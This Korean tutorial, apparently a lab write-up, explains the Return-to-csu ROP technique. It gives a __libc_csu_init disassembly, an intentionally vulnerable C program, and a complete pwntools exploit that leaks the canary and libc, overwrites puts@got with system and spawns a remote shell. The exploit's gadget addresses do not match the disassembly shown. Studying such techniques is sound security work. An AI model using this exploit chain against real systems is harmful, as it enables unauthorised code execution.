프로그램이 실행될 때, 우리가 보기에는 main 함수가 가장 먼저 실행되는 것 같지만 사실은 main 함수 이전에 수행되는 함수들이 있다. 대표적으로 우리가 stripped된 파일들에서 main 함수를 찾기 위해 사용하는 __libc_start_call_main 함수나 _start 함수를 예시로 들 수 있다. 이처럼 main 함수 이전에 실행되는 코드를 Startup code라고도 부른다. 이런 Startup code 중 __libc_csu_init 라는 함수를 이용하여 공격자가 원하는 동작을 수행시키는 기법을 'Return to csu' 라고 한다.
그렇다면 많고 많은 함수 중에서 해당 함수를 사용하는 이유는 무엇일까? 답은 __libc_csu_init 함수의 구조에 존재한다. 셸을 따기 위해서는 ROP를 비롯한 대부분의 공격 기법이 그렇듯 기본적으로 레지스터를 조작하고, 필요한 가젯을 구할 수 있어야 한다.
gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004007f0 <+0>: push r15
0x00000000004007f2 <+2>: push r14
0x00000000004007f4 <+4>: mov r15,rdx
0x00000000004007f7 <+7>: push r13
0x00000000004007f9 <+9>: push r12
0x00000000004007fb <+11>: lea r12,[rip+0x20060e] # 0x600e10
0x0000000000400802 <+18>: push rbp
0x0000000000400803 <+19>: lea rbp,[rip+0x20060e] # 0x600e18
0x000000000040080a <+26>: push rbx
0x000000000040080b <+27>: mov r13d,edi
0x000000000040080e <+30>: mov r14,rsi
0x0000000000400811 <+33>: sub rbp,r12
0x0000000000400814 <+36>: sub rsp,0x8
0x0000000000400818 <+40>: sar rbp,0x3
0x000000000040081c <+44>: call 0x400580 <_init>
0x0000000000400821 <+49>: test rbp,rbp
0x0000000000400824 <+52>: je 0x400846 <__libc_csu_init+86>
0x0000000000400826 <+54>: xor ebx,ebx
0x0000000000400828 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400830 <+64>: mov rdx,r15
0x0000000000400833 <+67>: mov rsi,r14
0x0000000000400836 <+70>: mov edi,r13d
0x0000000000400839 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040083d <+77>: add rbx,0x1
0x0000000000400841 <+81>: cmp rbp,rbx
0x0000000000400844 <+84>: jne 0x400830 <__libc_csu_init+64>
0x0000000000400846 <+86>: add rsp,0x8
0x000000000040084a <+90>: pop rbx
0x000000000040084b <+91>: pop rbp
0x000000000040084c <+92>: pop r12
0x000000000040084e <+94>: pop r13
0x0000000000400850 <+96>: pop r14
0x0000000000400852 <+98>: pop r15
0x0000000000400854 <+100>: ret
End of assembler dump.
위는 gdb를 통해 확인해 본 __libc_csu_init 함수의 어셈블리어 명령어이다. 구조를 살펴보면 'libc_csu_init + 90' 부터 레지스터를 순서대로 pop 하고 있고, 'libc_csu_init + 64' 부터는 인자를 넣고, 함수를 부를 수 있다. 순서를 살펴보자.
(rdi에 64bit 크기에 값을 넣을 때는 주의해야 하지만 사실 상 대부분의 주소는 상위 32bit가 어차피 0이다.)
따라서, 위와 같은 순서로 RTC 공격을 수행할 수 있다.
[*] '/home/pdh/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
from pwn import *
p = remote('서버명', 포트 번호)
e = ELF('./rop')
libc = ELF('./libc.so.6')
def rtc_chain(func_ptr, arg1, arg2, arg3):
return (
p64(0) + p64(1) +
p64(arg1) + p64(arg2) + p64(arg3) + p64(func_ptr) +
p64(csu_init2)
)
buf = b'A' * 57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)
payload = b'A' * 56 + p64(canary) + b'B' * 8
# [puts(read@got)] → read libc 주소 leak
payload += p64(csu_init1)
payload += rtc_chain(puts_got, read_got, 0, 0)
# [read(0, bss, 8)] → /bin/sh 심기
payload += dummy
payload += rtc_chain(read_got, 0, bss, 8)
# [read(0, puts@got, 8)] → puts@got을 system으로 덮기
payload += dummy
payload += rtc_chain(read_got, 0, puts_got, 8)
# [puts(bss)] → 사실상 system(bss) 호출
payload += dummy
payload += rtc_chain(puts_got, bss, 0, 0)
p.sendafter("Buf: ", payload)
read_addr = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read_addr - read_offset
system_addr = libc_base + system_offset
p.send(b"/bin/sh\x00")
p.send(p64(system_addr))
p.interactive()